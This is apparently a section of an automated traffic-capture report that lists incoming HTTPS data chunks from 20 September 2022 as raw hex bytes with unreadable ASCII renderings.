86 96 73 09 68 a8 d3 85 b7 0e c2 5b 67 0b 6f ab 37 cc 9b 2e 85 75 90 c2 3a 5b 0a 7b 9f 95 1d a4 b0 4e 67 af 0e ec d5 e9 
ec d5 81 bd 3a 9d bd 3a b0 57 a7 de ef f5 6a 0a 6f 
Data Ascii: I9]u3x$oX!61,}+~_eABt:tM;/.}TM1ojWSxzb}8|NChi{WSx$h8PPlZ44:sh[go7.u:[{Ng::Wjo

2022-09-20 10:10:08 UTC 1341 IN Data Raw: fc c3 c0 6f db df 6d ed fc 7e 62 f6 8d 5f 0c d3 c0 a2 db 06 20 fb af bf 07 ef b9 fa 4c 7e 36 f4 ad 5d 18 d8 fd 9d 
76 b1 b5 1b ff 4c 78 ac bd d3 23 09 d7 ca 5f 29 57 b1 b9 10 49 b8 f4 4c 86 0b 99 0c 97 9d 8d 50 47 05 ef 62 3d 1b e1 42 
36 c2 a5 57 d0 bf 90 8d 70 e9 d9 08 17 b2 11 2e bd 1e d0 85 6c 84 4b cf 46 b8 90 8d 70 e9 f5 80 2e 64 23 5c 7a 04 e8 42 
04 e8 d2 ef 4a bd 10 01 ba f4 28 c9 85 28 c9 65 47 49 4a df 10 25 b9 f4 28 c9 85 28 c9 a5 2b f6 af 9d 7d d3 d7 24 14 fb 97 
ad d8 2f 5f 11 50 ec 5f 7a 4c e6 42 4c e6 12 62 32 5f 8b 19 bc e9 23 89 28 c9 65 47 49 6e 85 c3 85 28 c9 a5 c7 2d 2e c4 
2d 2e a1 ee fb d7 62 06 6f fa 9a 84 86 fe fa d0 d0 0b 4b f2 d9 72 e2 91 b1 fc c3 a7 b6 e5 75 f5 d1 74 ea dd 6a 7e 61 a6 4f 
20 a4 fb 97 2d dd af 43 ca 09 d4 b7 02 42 41 
Data Ascii: om~b_ L~6]vLx#_)WILPGb=B6Wp.lKFp.d#\zBJ((eGIJ%((+}$/_P_zLBLb2_#(eGIn(-.-.boKrutj~aO -CBA

2022-09-20 10:10:08 UTC 1348 IN Data Raw: 7b d5 d1 f7 0a f4 bd da e8 bb 9c b9 80 be 57 1d 7d af 40 df ab 8e be 57 a0 ef 55 47 df 2b d0 f7 aa a3 ef 15 e8 
7b d3 33 e0 36 64 c0 6d 76 06 dc bd df 36 64 c0 6d 3a fa de 80 be 37 1d 7d 6f 40 df 9b 0e 51 37 40 d4 cd 86 a8 f7 79 72 
9b e8 4d 9e b7 0d 10 75 d3 21 ea 06 88 ba e9 10 75 03 44 dd 74 88 ba 01 a2 6e 3a 44 dd 66 ac 92 59 3e 4f 6e 80 a8 9b 
8e 35 37 60 cd cd c6 9a 65 24 81 35 37 1d 6b 6e c0 9a 9b 9e 93 b6 01 6b 6e 3a d6 dc 80 35 37 1b 6b de 95 86 37 60 cd 
4d c7 9a 1b b0 e6 a6 63 cd 0d 58 73 d3 eb ae 6d a8 bb b6 d9 75 d7 6e a1 f9 86 ba 6b 9b 8e 35 37 60 cd 4d cf b7 db 80 
35 37 1d 34 6e 00 8d 9b 5e 77 6d 03 68 dc 74 d0 b8 01 34 6e 36 68 2c 3b 00 a0 71 d3 41 e3 06 d0 b8 e9 a0 71 03 68 dc f
4 04 b8 0d 09 70 9b 9d 00 57 de 38 48 80 db f4 04 b8 0d 09 70 9b 
Data Ascii: {W}@WUG+{36dmv6dm:7}o@Q7@yrMu!uDtn:DfY>On57`e$57knkn:57k7`McXsmunk57`M574n^wmh
t4n6h,;qAqhpW8Hp

2022-09-20 10:10:08 UTC 1356 IN Data Raw: 0a 7a 48 2f 20 a4 17 ec 90 5e 19 49 84 f4 82 9e 00 14 90 00 14 f4 04 a0 90 d9 37 7d 4d 22 a4 17 f4 c2 74 01 
21 bd a0 87 f4 02 42 7a 41 bf 8a 2b 20 a4 17 f4 90 5e 40 48 2f e8 21 bd 80 90 5e d0 43 7a 01 21 bd 60 87 f4 6a df 30 6f 
7a 48 2f 20 a4 17 f4 04 a0 80 90 5e d0 43 7a 01 21 bd 60 87 f4 4a df 10 d2 0b 7a 48 2f 20 a4 17 f4 90 5e 40 48 2f e8 21 
bd 80 90 5e b0 43 7a 65 07 20 a4 17 56 7d de 36 cc db a6 ef b7 0d f3 a6 07 10 03 02 88 41 0f 20 06 04 10 83 1e 40 0c 08 
20 06 3d 80 18 10 40 0c 7a 2a 55 40 2a 55 b0 53 a9 ca 9a 44 2a 55 d0 53 a9 02 52 a9 82 5e 34 2b 20 95 2a e8 e1 ca 80 
70 65 d0 c3 95 01 e1 ca a0 87 2b 03 c2 95 c1 0e 57 96 35 89 70 65 d0 03 88 01 01 c4 a0 5f 8e 15 10 40 0c 7a 00 31 20 
80 18 f4 00 62 40 00 31 e8 e9 46 01 e9 46 c1 4e 37 ba 25 62 01 
Data Ascii: zH/ ^I7}M"t!BzA+ ^@H/!^Cz!`j0ozH/ ^Cz!`JzH/ ^@H/!^Cze V}6A @ =@z*U@*USD*USR^4+ *pe+W5pe_@z1 
b@1FFN7%b

2022-09-20 10:10:08 UTC 1364 IN Data Raw: 15 c9 cb bd e7 af de f3 d6 2c 1a 4f 84 cf 57 25 b9 4d e1 6a 53 d0 7e 89 bc 4b 5e 6d 0a 72 9b c2 d5 a6 60 b5 
e9 5c e5 96 70 b5 29 c8 6d 8a 57 9b a2 fa 9e 5b e2 d5 26 f9 3b 67 b9 3e 74 16 f3 4b e7 5c 87 96 eb 53 67 c9 72 a4 72 55 
2a d6 6b e5 5c f0 97 b2 5d 95 e4 71 ba 3e ab 16 f3 bb 6a 8c d3 f5 61 b5 c8 5f 56 cb f5 69 f5 fe 53 1c a7 7a 8d 93 fc 75 b5 
5c 9f 57 8b f9 7d 75 45 ba da 24 7f 61 2d d7 27 96 9d 08 32 d6 88 eb 23 4b 4d 03 d9 7e 71 d7 5b 43 4d 02 79 97 1c 91 d4 
14 90 57 c9 6b 85 75 e2 6f ec 77 c9 2b 92 3c 9f dc 35 9f d4 e4 8f 77 c9 2b 92 3c 4e ee 1a 27 35 f1 e3 5d f2 8a 24 8f d3 7a 
8d 93 9d f4 f1 b7 5f cf 4a 23 92 9a f2 f1 2a 79 8d 93 7a 77 d2 bb e4 15 49 1e a7 f5 1a 27 3b d9 e3 2f a3 d2 15 49 1e a7 f5 
1a 27 75 db f0 bb e4 15 49 1e a7 ed 0b 7e 1a cb 
Data Ascii: ,OW%MjS~K^mr`\p)mW[&;g>tK\SgrrU*k\]q>ja_ViSzu\W}uE$a-'2#KM~q[CMyWkuow+<5w+<N'5]$z_J#*yzw
I';/I'uI~

2022-09-20 10:10:08 UTC 1372 IN Data Raw: d0 99 aa d3 99 0a 3a 53 05 3a 33 a2 a1 27 75 3a 53 41 67 aa 4e 67 aa 63 4f ea 33 00 74 e6 f3 f7 53 0e eb c9 
6c bf 17 dc ee f5 1e 78 f9 99 90 f8 bd a0 bf d5 7b fe 67 22 e2 d5 3a 9d 06 55 d0 a0 aa a7 a0 56 d0 a0 aa d3 a0 0a 1a 54 
6d 1a 74 45 c3 c8 e9 29 a8 15 29 a8 d5 4e 41 1d d1 90 82 5a 75 f6 54 c1 9e aa 7e 92 74 05 7b aa 3a 0d aa a0 41 d5 a6 
41 63 ed 02 0d aa 3a 0d aa a0 41 d5 a6 41 63 ed f2 6c 9b 3e e3 40 83 aa 4e 83 2a 68 50 d5 69 50 05 0d aa 02 0d fa 36 
aa 21 9a 3e 6e 38 f3 a0 da 87 0f 9c df 78 15 87 0f 54 9d 3d 55 b0 a7 6a b3 a7 7f 8d b6 61 dc 74 f6 54 c1 9e aa cd 9e c6 
db 1b ec a9 ea ec a9 82 3d 55 9b 3d 8d b6 81 3d 55 fd 24 e9 8a 93 a4 eb fb 78 e8 e7 6a 63 be c5 e4 ae 6a fa b8 81 74 55 
9b 74 5d 6d c3 b8 e9 a9 c3 15 a9 c3 d5 4e 1d 3e 7f 53 d5 c4 68 
Data Ascii: :S:3'u:SAgNgcO3tSlx{g":UVTmtE))NAZuT~t{:AAc:AAcl>@N*hPiP6!>n8xT=UjatT=U==U$xjcjtUt]mN>Sh

2022-09-20 10:10:08 UTC 1380 IN Data Raw: 6f 72 c5 be c9 d5 de 37 39 be 14 b0 6f 72 d5 99 f9 0a 66 be ea cc 7c 05 33 5f 75 66 be 82 99 af fa 29 96 2b 98 
f9 aa 33 f3 15 cc 7c b5 99 f9 69 32 57 30 f3 55 67 e6 2b 98 f9 aa 33 f3 15 cc 7c d5 99 f9 0a 66 be ea cc 7c 05 33 5f 75 66 
be 82 99 af 36 33 bf a2 61 dc f4 5d 9a 2b 76 69 ae f6 2e cd 11 0d bb 34 57 7d 97 e6 8a 5d 9a ab bd 4b 73 8c 1b 76 69 ae 
ba 0f 58 e1 03 56 dd 07 ac f0 01 ab ee 03 56 f8 80 55 f7 01 2b 7c c0 aa fb 80 15 3e 60 b5 7d c0 88 06 1f b0 ea 3e 60 85 0f 
58 75 1f b0 c2 07 ac 4d 7f 26 77 3c 93 bb fe 3b 60 c7 33 a9 fb 80 15 3e 60 15 7c c0 b7 51 0d d1 f4 9e 84 0f 58 75 1f b0 c2 
07 ac ba 0f 58 e1 03 56 dd 07 ac f0 01 ab be 4b 73 c5 36 84 d5 de a5 39 be 27 b1 4b 73 d5 ed c3 0a fb b0 0a f6 e1 db a8 
86 68 fa b8 c1 3e ac ba 7d 58 61 1f 56 dd 3e 
Data Ascii: or79orf|3_uf)+3|i2W0Ug+3|f|3_uf63a]+vi.4W}]KsviXVVU+|>`}>`XuM&w<;`3>`|QXuXVKs69'Ksh>}XaV>

2022-09-20 10:10:08 UTC 1387 IN Data Raw: b1 2a 23 17 f2 d0 73 21 0f e4 42 1e 76 2e e4 f8 52 40 2e e4 a1 67 27 1e c8 4e 3c ec ec c4 f1 bb 1b d9 89 87 
0e f3 0e c0 bc 43 87 79 07 60 de a1 c3 bc 03 30 ef d0 b3 13 0f c0 bc 43 87 79 07 60 de a1 9f c4 70 1c ec 49 fd 99 c4 49 
0c 87 7d 12 c3 78 07 e0 24 86 43 47 87 07 d0 e1 eb ef 55 ed c9 be 6d 57 35 7d dc 90 0b 79 e8 27 31 1c 60 78 87 ce f0 
0e 30 bc 43 67 78 07 18 de f1 54 e3 1e ad 83 e1 75 9b e1 9d 6b 49 07 c3 eb 3a c3 eb 60 78 5d 3f e1 b7 83 e1 75 fd 9e ba 
8e 7b ea 3e 7f 3f 7d f8 8e 97 e9 a7 64 fa 72 af f9 64 36 c7 e5 7d 9f 92 79 aa f9 e4 d6 ee 31 cb 54 f3 e9 d5 8a ae 79 f3 e8 
a9 e6 f2 f4 fb fd 1e 74 f1 73 dd a7 df 90 ff f1 bf 7f 60 dd 30 d7 3d 96 9f 4f c5 29 ee b1 6c 73 5d ff 30 83 ff f7 5e 37 cc 75 e3 
cf eb fe f7 1f ee 75 d3 5c 37 3f cc ae ff be d7 
Data Ascii: *#s!Bv.R@.g'N<Cy`0Cy`pII}x$CGUmW5}y'1`x0CgxTukI:`x]?u{>?}drd6}y1Tyts`0=O)ls]0^7uu\7?

2022-09-20 10:10:08 UTC 1395 IN Data Raw: f9 7c 02 9f 4f 42 de fd b7 51 0d d1 f4 b6 81 cf 27 9d cf a7 9d 6d d3 e7 1b f8 7c b2 f9 fc f8 52 00 9f 4f 3a 9f 4f 
e0 f3 c9 e6 f3 e3 99 04 9f 4f 3a 9f 4f e0 f3 49 bf 8e 37 81 cf 27 9d cf 27 f0 f9 a4 f3 f9 04 3e 9f 74 3e 9f c0 e7 93 7e a4 7c 
02 9f 4f 3a 9f 4f e0 f3 49 e7 f3 09 7c 3e e9 7c 3e 81 cf 27 9b cf 8f 9e 04 9f 4f 3a 9f 4f e0 f3 49 e7 f3 09 7c 3e e9 7c 3e 81 cf
27 fd 3a de 04 3e 9f 9e 6a dc a3 65 f0 f9 6c f3 f9 33 37 3a 83 cf 67 9d cf 67 f0 f9 6c f3 f9 73 2d c9 e0 f3 59 e7 f3 19 7c 3e 
db 7c fe fc 45 95 c1 e7 b3 ce e7 33 f8 7c d6 f9 7c 06 9f cf 3a 9f cf e0 f3 59 67 e6 19 cc 3c eb cc 3c 83 99 67 9d 99 67 30 
f3 ac 33 f3 0c 66 9e 75 66 9e c1 cc b3 ce cc 33 98 79 b6 99 f9 e9 68 33 98 79 d6 99 79 06 33 cf 36 33 1f 6d 03 33 cf 3a 
33 cf 0e e3 e6 f4 71 03 33 
Data Ascii: |OBQ'm|RO:OO:OI7''>t>~|O:OI|>|>'O:OI|>|>':>jel37:ggls-Y|>|E3||:Yg<<gg03fuf3yh3yy363m3:3q3

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 1403 IN Data Raw: 57 ef a9 69 e5 ef 92 57 24 b9 f7 fc d5 7b 36 24 1d 6d ba 7a 4f 4d 28 7f 95 bc 7a 4f 4d 27 7f 97 bc 22 c9 bd 17 
ae de b3 e1 e8 f7 4f e7 77 c9 eb 05 28 b7 29 5e 6d b2 53 ad ff fa ed ac 74 45 92 db 14 af 36 d9 69 d6 df d3 3e df 25 af 48 
f2 13 11 af 27 c2 c6 af e7 5b 23 36 7c 3e a8 91 d2 17 7c 40 68 e8 f5 5d 72 44 52 c1 eb ab e4 35 4e 36 76 3d d7 bd 74 8d 
93 9a 58 fd 2a 89 8f 22 11 ca bc 4b 5e 91 e4 71 4a d7 38 d9 70 f7 7c f6 d2 35 4e 2a da 8d bf e4 6b 9c 6c b0 7b b6 29 5f 
e3 a4 82 d6 57 c9 ab f7 6c cc 7a 8e 53 be 7a 4f 4d db 7e 95 bc 7a cf 4e da 3e 9f f2 7c f5 9e 8a 73 5f 25 af 67 cf 86 b9 67 
9b ca f5 ec a9 28 f7 55 f2 ea 3d 1b e4 9e e3 54 ae de 53 31 ee ab e4 d5 7b 2a c4 7d 97 bc 22 c9 cf 5e bd 9e 3d 1b e0 7e 
3f 8b e9 5d f2 fa 99 21 8f 53 bd c6 c9 86 b7 df 
Data Ascii: WiW${6$mzOM(zOM'"Ow()^mStE6i>%H'[#6|>|@h]rDR5N6v=tX*"K^qJ8p|5N*kl{)_WlzSzOM~zN>|s_%gg(U=
TS1{*}"^=~?]!S

2022-09-20 10:10:08 UTC 1411 IN Data Raw: 50 18 55 bf 3c b3 42 61 d4 a7 1a f7 68 0d 5f 41 cd 4e 03 3f 7f ba 34 a4 81 37 3d 0d bc 21 0d bc 09 07 4a 7f 1b 
d5 10 4d 1e b7 06 61 d2 74 61 d2 20 4c 9a 2e 4c 1a 84 49 13 0e 94 1e d1 1a a2 e9 e3 06 61 d2 6c 61 72 6e 3c 6a 10 26 
4d 17 26 0d c2 a4 e9 57 75 36 08 93 a6 0b 93 06 61 d2 f4 43 9e 1b 84 49 d3 85 49 83 30 69 b6 30 f9 d7 68 1b c6 4d 17 
26 0d c2 a4 e9 87 3c 37 08 93 a6 0b 93 e6 30 6e 4e fe 7a 6d 10 26 ed 6d 3e 1e 4d 1e a2 bd 8b f2 c1 fc fe 1f 9e ea fe e9 
56 f7 d6 39 fa 08 42 9d 34 5b 9d 9c 5b c7 1a d4 49 d3 b7 0d 34 6c 1b 68 fa e1 d2 0d db 06 9a 2e 6a 1a 44 4d d3 b7 0d 34 
88 9a a6 8b 9a 06 51 d3 74 51 d3 20 6a 9a 2e 6a 1a 44 4d d3 45 4d 83 a8 69 ba a8 69 10 35 cd 16 35 a3 6d 10 35 4d 17 
35 0d a2 a6 e9 a2 a6 41 d4 34 5d d4 34 88 9a 66 8b 9a ab 6d 18 
Data Ascii: PU<Bah_AN?47=!JMata L.LIalarn<j&M&Wu6aCII0i0hM&<70nNzm&m>MV9B4[[I4lh.jDM4QtQ j.jDMEMii55
m5M5A4]4fm

2022-09-20 10:10:08 UTC 1419 IN Data Raw: 23 55 1c a4 e2 30 52 c5 43 2a f6 90 2a 1e 52 6f c2 88 bc 76 71 91 7a e3 22 62 25 2e 52 71 1c a9 e2 23 95 4e 
d0 aa b8 48 c5 61 a4 4a 18 a9 34 8c 54 71 ac 8a 67 68 55 3c ab 52 cf aa e2 59 15 7b 56 13 cf 6a 94 62 9a 38 56 c3 61 
a4 89 67 bd 0e d6 43 46 e2 58 0d c7 9e 26 9e d5 70 ec 69 e2 5a 8d c6 9e 26 9e d5 68 46 ab 89 63 b5 cf a1 e7 f2 90 26 
1e d2 b0 87 34 f1 90 86 a3 48 13 17 69 34 8a 34 f1 90 46 3d a4 89 87 34 ec 21 4d 3a 7b c3 9d bd 4b 67 ef 78 d2 d4 a5 b7 
77 dc db bb 74 dc 4e 23 42 97 7e db 71 bf ed d2 05 3b 1e dc bb f4 c1 8e 19 a1 cb e0 de 29 23 74 e9 b9 1d f7 dc 2e 3d b7 
e3 9e db a5 e7 76 3c b8 77 e9 ba 9d 76 dd 2e 5d b7 e3 bc 6a 97 c1 bd 63 fc ee d2 e1 3b ee f0 43 3a fc c0 1d 7e 48 87 1f 
74 de 34 64 74 1f 78 de 34 c4 4b c6 cd f0 fe 5f ff 7d 5a 89 9b 
Data Ascii: #U0RC**Rovqz"b%.Rq#NHaJ4TqghU<RY{Vjb8VagCFX&piZ&hFc&4Hi44F=4!M:{KgxwtN#B~q;)#t.=v<wv.]jc
;C:~Ht4dtx4K_}Z

2022-09-20 10:10:08 UTC 1426 IN Data Raw: 52 c5 22 bf a1 16 51 b9 08 67 07 27 ec e0 38 3b 38 61 07 c7 ab 23 4e d8 c1 71 76 70 52 1d 71 f7 d5 91 b3 73 
09 72 3c fe fe b5 c5 d6 9a 20 87 e3 c8 e1 04 39 1c 5f 00 e6 84 1d 1c 67 07 27 d5 11 c7 ab 23 4e 90 c3 71 e4 70 c2 0e 8e 
b3 83 13 76 70 9c 1d 9c b0 83 bb 67 87 f3 4d 0a 3b b8 7b 76 38 cd a4 cc e1 78 99 c3 09 72 38 8e 1c 4e ca 1c 8e 97 39 
9c 90 8a bb 27 95 bf fc 9f 9f 66 42 2a 8e 93 8a 13 52 71 f7 a4 72 be 49 21 15 c7 ab 23 4e 48 c5 71 52 71 42 2a 8e 17 55 
9c 90 ca e3 ef bb 41 e1 7c 36 21 15 c7 49 c5 09 a9 38 4e 2a 4e 48 c5 dd 93 ca f9 23 85 54 1c 27 15 27 a4 e2 38 a9 38 21 
15 c7 49 c5 09 a9 38 ae 86 71 42 2a 8e 93 8a 13 52 71 f7 a4 72 be 49 21 15 c7 49 c5 09 a9 38 4e 2a 4e 48 c5 f1 b2 8a 
13 52 71 7c 25 97 93 b2 8a e3 65 15 27 80 e3 38 e0 38 01 1c 77 
Data Ascii: R"Qg'8;8a#NqvpRqsr< 9_g'#NqpvpgM;{v8xr8N9'fB*RqrI!#NHqRqB*UA|6!I8N*NH#T''88!I8qB*RqrI!I8
N*NHRq|%e'88w

2022-09-20 10:10:08 UTC 1434 IN Data Raw: aa 0a 51 55 4e 54 55 88 aa f2 f2 4f 15 a2 aa 9c a8 aa 10 55 e5 9a a3 2a 44 55 79 f9 a7 0a 51 55 4e 54 55 88 
aa 72 a2 aa 42 54 95 13 55 15 a2 aa 9c a8 aa 10 55 e5 47 9e 56 21 aa ca 89 aa 0a 51 55 ae 39 aa 42 54 95 13 55 15 34 
aa 1c 8d aa a0 51 e5 68 54 05 8d 2a 47 a3 2a 68 54 39 1a 55 41 a3 ca cb 3f 55 d0 a8 f2 7d 15 aa a0 51 e5 68 54 05 8d 
2a 3f 60 b5 0a 1a 55 8e 46 55 d0 a8 72 34 aa 82 46 95 a3 51 15 34 aa 1c 8d aa a0 51 e5 68 54 05 8d ea 3d 1a 9d 6f 52 d
0 a8 f2 5d 03 ab a0 51 e5 55 a3 2a 68 54 39 1a 55 41 a3 ca d1 a8 0a 1a 55 8e 46 55 aa 46 95 57 8d aa 10 55 e5 44 55 
85 a8 2a 27 aa 2a 44 55 39 51 55 41 a3 ca d1 a8 0a 1a 55 8e 46 55 d0 a8 f2 aa 51 15 34 aa 1c 8d aa a0 51 e5 68 54 05 
8d 2a 47 a3 2a 68 54 39 1a 55 61 9c ca 19 a7 0a e3 54 ce 38 55 18 a7 72 
Data Ascii: QUNTUOU*DUyQUNTUrBTUUGV!QU9BTU4QhT*G*hT9UA?U}QhT*?`UFUr4FQ4QhT=oR]QU*hT9UAUFUF
WUDU*'*DU9QUAUFUQ4QhT*G*hT9UaT8Ur

2022-09-20 10:10:08 UTC 1442 IN Data Raw: e0 a1 e3 90 d0 71 f0 d0 e1 24 74 38 1e 3a 9c c4 00 c7 8b 1d 4e 62 80 e3 31 c0 49 0c 70 3c 06 38 89 01 8e c7 
00 27 31 c0 dd c7 80 f3 d9 24 06 b8 df 28 7b 68 dd e3 37 0a 1f 5a f9 b8 8f 01 e7 8f 94 18 e0 78 0c 70 12 03 1c 3d 1c ec 
71 ab 24 ac 1c 4f 58 39 09 1d 8e 87 0e 27 a1 c3 f1 d0 e1 24 74 38 1e 3a 9c c0 8a e3 b0 e2 24 e2 38 1e 71 9c 44 1c c7 23 
8e 93 88 e3 e8 a9 bd 8f 5b 25 e2 38 1e 71 9c 44 1c c7 23 8e 93 88 e3 78 c4 71 02 2b 8e c3 8a 93 40 e5 e8 11 b5 8f 5b 
25 e2 38 5e 4f 71 12 71 1c 8f 38 4e 22 8e e3 11 c7 49 c4 71 3c e2 38 89 38 8e 47 1c 27 11 c7 f1 88 e3 25 e2 3c fe 0e d8 
2c 89 19 6f 4d 02 d5 e3 ef 5f 5b ec 66 d2 1a 0f 54 5e 02 d5 e3 6f 26 b4 7f de 2a ad f1 40 e5 25 50 79 1e a8 bc 04 2a cf 03 
95 97 40 e5 79 a0 f2 12 a8 fc 6f d4 e8 b5 48 ef f9 9b d4 
Data Ascii: q$t8:Nb1Ip<8'1$({h7Zxp=q$OX9'$t8:$8qD#[%8qD#xq+@[%8^Oqq8N"Iq<88G'%<,oM_[fT^o&*@%Py*@yoH

2022-09-20 10:10:08 UTC 1450 IN Data Raw: ed 59 b7 b0 68 d5 b7 5d eb 0f 96 d6 1f ec 5a 7f b0 74 e5 b7 5d eb 0f 96 d6 1f ec 5a 7f b0 b4 fe 60 d7 fa 83 a5 
f5 07 bb d6 1f 2c ad 3f d8 b3 fe f0 f8 8b 08 44 ed b3 72 70 e9 8d de 97 c4 2e 89 fe ea 7d 79 6f 77 ae b3 b6 68 a1 b5 5d 13 
fa 96 26 f4 ed ba 42 fb 7d 49 ec c2 6a c7 12 63 76 2d 04 58 5a 08 b0 6b 21 c0 d2 42 80 5d 0b 01 df 97 e4 7b 9f 09 7d fb 
31 a1 2f f7 2f ef 9f 26 f4 ed 9a d0 ff be 64 bf 2f ad 76 f0 3d ae 89 79 4b 13 f3 76 4d cc 7f 5f 92 df 79 26 d8 1f 7f b1 fb 17 3f 
8b 37 7e 76 f6 ab b8 fa 59 a4 7e f6 cc 54 3b b5 6b 48 f8 69 cf 04 b4 45 09 e8 c7 5d 4b ff 48 b4 7f ac 89 eb ef 4b f2 1e d7 
04 b4 a5 09 e8 c7 8d 65 b5 83 fd 63 4d 5c db bb c4 b5 d8 8d d5 0e 0e e0 67 e2 da a2 c4 b5 5d 13 d7 f6 2e 71 2d 76 6e 
b5 83 e3 e3 9a 80 b6 34 01 6d d7 05 d6 df 
Data Ascii: Yh]Zt]Z`,?Drp.}yowh]&B}Ijcv-XZk!B]{}1//&d/v=yKvM_y&?7~vY~T;kHiE]KHKecM\g].q-vn4m

2022-09-20 10:10:08 UTC 1458 IN Data Raw: cb c7 f5 c1 2c f3 66 99 71 9b 65 b3 64 e7 16 3c ef 6c 9b 65 c3 5f a5 6f 96 1d b7 39 36 4b 76 ea c1 ab 93 6e 96 
13 5a 9a cb c8 7c a1 af 61 9e ff fb 3f d4 cc c0 37 b3 ee e5 fa 7d 6d a0 e5 b1 59 1e b8 4d b7 59 52 ef 32 9b 77 3d af a9 65 
d8 2c 1f d7 86 59 c6 cd 32 62 cb b4 59 b2 4d 44 9e 77 e6 cd 92 7a 97 f9 aa 9b 65 fd 11 a1 65 db 2c db c7 5f fb 8e 88 cf 
3b fb 66 d9 e1 98 67 36 ef 32 d8 bb cc e6 5d af eb 0f 5f e5 fa b5 f6 32 42 e7 e8 3d 6f 5b 7d c4 c2 8d aa 9f 77 1e 9b e5 81 
2d dd 66 49 7d c4 6e 3e f2 bc 66 1e 6d 37 1f 79 5d a3 f1 c7 6e 3d fd 75 0d db cc 9b 65 86 3e 62 b7 9e fe ba 46 7e 69 b7 
9e fe ba 46 fd d5 6e 3d fd 79 cd bc cb 6e 3d dd e2 9e 6e b7 9e fe ba 46 5f e5 b8 8c 8e 2f f4 7c c7 16 47 5e d7 e8 57 1e 
9b 8f 1c 37 3e 72 f9 e3 b1 f9 c8 81 67 69 c7 e6 
Data Ascii: ,fqed<le_o96KvnZ|a?7}mYMYR2w=e,Y2bYMDwzee,_;fg62]_2B=o[}w-fI}n>fm7y]n=ue>bF~iFn=yn=nF_/|
G^W7>rgi

2022-09-20 10:10:08 UTC 1466 IN Data Raw: df 9f 7e b5 88 6e fd a9 e3 fe d4 ad 3f 75 2c dd ba f5 a7 1f 7f 96 cf 41 ff 61 41 55 dc a5 be ed 89 cf d3 e8 d6 13 
3b 16 7d dd 7a 62 c7 3d b1 5b 4f ec f8 cd d6 ad 27 76 3c 15 d2 ad 53 f5 6d a7 9a 67 b2 4e d5 b1 5d dd a5 b4 02 f3 5e b7 
4e d5 b1 cf d0 ad 53 75 cc 7b dd 3a 55 df 77 aa a7 45 58 a7 ea 58 f4 75 eb 54 1d 8b be c3 1a ec b1 ed 54 7f fc af 5f 41 
d6 a9 8e 6d a7 7a 74 f6 61 9d ea d8 4e f8 3d b2 e5 b0 ae 71 60 d1 77 58 d7 38 f6 3c f4 eb e9 1d d6 ca 0f 3c 15 72 d8 fb 
e6 d8 f3 d0 73 26 eb 1a 07 ee 1a 87 75 8d 63 ff be 79 82 ac 6b fc f8 f3 03 f9 3f 04 ff e3 30 a7 31 1f a8 ff 4f 72 16 af 31 9f 
66 34 fe c1 62 82 c6 7c 98 cd d0 f3 44 8d f9 30 5b af f7 93 34 e6 c3 3c bd 9e 27 6b cc ef 57 dd cc b9 fd 1f 87 15 8d f9 fd 
db 7d 39 4f d5 98 df d7 92 59 db 79 1d d6 
Data Ascii: ~n?u,AaAU;}zb=[O'v<SmgN]^NSu{:UwEXXuTT_AmztaN=q`wX8<<rs&ucyk?01Or1f4b|D0[4<'kW}9OYy

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 1473 IN Data Raw: 16 2d c2 b2 58 59 16 cd 70 71 15 f6 c5 6a ef d3 ca de a7 66 d1 fc f8 13 45 58 d6 2b cb ba 19 34 3f fe 24 c3 90 
cd 1a b9 46 3b 6f b3 bc 37 98 77 f3 74 5c 83 2f 53 f3 74 7e fc 89 22 2c f1 8d 25 de 1c 1d b7 b5 74 e6 0b c5 0c 9a 1f 7f a2 
d3 0c 99 d9 fd f5 eb b7 51 7f f7 77 4f 94 25 b3 b1 2e 6c d3 79 3f fe 44 fa a3 5b 2e fb c7 81 f8 9f 1e e8 32 1b e8 c7 9f e8 1c 
96 c9 fe 31 93 b3 77 99 09 e4 7e ba 40 e4 2c d6 bf 3a eb 5f e6 e8 fc f8 13 45 58 4a 3a 4b 89 cd 96 ba 03 4a 9c c3 52 72 
b0 77 a3 39 40 3f fe 44 11 96 92 83 75 2e f3 7f 7e fc 89 22 ac 73 1d 1f e7 e4 26 cf 9b fb e3 0e 28 53 cd fd f9 f1 27 8a b0 
1c 1e 50 e1 d8 f4 f5 8f 3f dd a7 98 d9 84 87 65 71 c0 41 72 58 1a 07 4b a3 59 4c 3f fe 44 11 96 c6 c1 d2 38 2c 8d 63 c3 
1b 16 63 89 1c ac 2f 0e cb e3 60 79 1c 96 
Data Ascii: -XYpqjfEX+4?$F;o7wt\/St~",%tQwO%.ly?D[.21w~@,:_EXJ:KJRrw9@?Du.~"s&(S'P?eqArXKYL?D8,cc/`y

2022-09-20 10:10:08 UTC 1481 IN Data Raw: 24 6f 7b 73 77 36 2e 31 77 0b 37 77 8b 98 bb 65 6f ee 3e 82 be 88 b9 5b f6 e6 ee 03 d0 45 5c da b2 77 69 e7 
d9 c4 a5 2d 7b 97 f6 79 75 14 71 69 cb de a5 9d 8d 4b 5c da c2 5d da 22 2e 6d e1 8b f8 8b b8 b4 65 ef d2 ce a6 ec 25 6f 
7e 9f b7 3f 3d 61 92 37 6e ee 16 31 77 cb de dc b5 30 49 f7 de dc 9d 61 62 ee 96 bd b9 6b 61 92 ee bd b9 fb bc 4d 8b 98 
bb 65 6f ee da d9 24 dd 7c ed 7f 11 73 b7 ec cd dd a7 76 a6 88 b9 5b f6 e6 ee b3 69 46 11 73 b7 80 b5 ff 4f 2b 11 73 b7 
70 73 b7 88 b9 5b f6 e6 ee 0c 13 73 b7 f0 b5 ff 45 cc dd b2 37 77 e7 58 22 e6 6e d9 9b bb 8f 6f 5a c4 dc 2d dc dc 2d 62 
ee 16 be f6 bf 88 b9 5b f8 da ff 22 e6 6e d9 9b bb f6 48 a4 95 ec cd dd a9 4b c4 dc 2d 7b 73 77 be 03 c4 dc 2d 7b 73 77 
be 16 c5 dc 2d e0 1b 0c cf 60 2e e6 6e 01 e6 ee 73 6f 62 
Data Ascii: $o{sw6.1w7weo>[E\wi-{yuqiK\]".me%o~?=a7n1w0IabkaMeo$|sv[iFsO+sps[sE7wX"noZ--b["nHK-{sw-{sw-`.nsob

2022-09-20 10:10:08 UTC 1489 IN Data Raw: 2d 4c da cb de af 9d 12 51 fc da 6b ef d7 4e 1d 2b 8b 71 2f be 69 f8 25 36 ef b5 b7 79 e7 88 29 36 ef c5 17 e3 
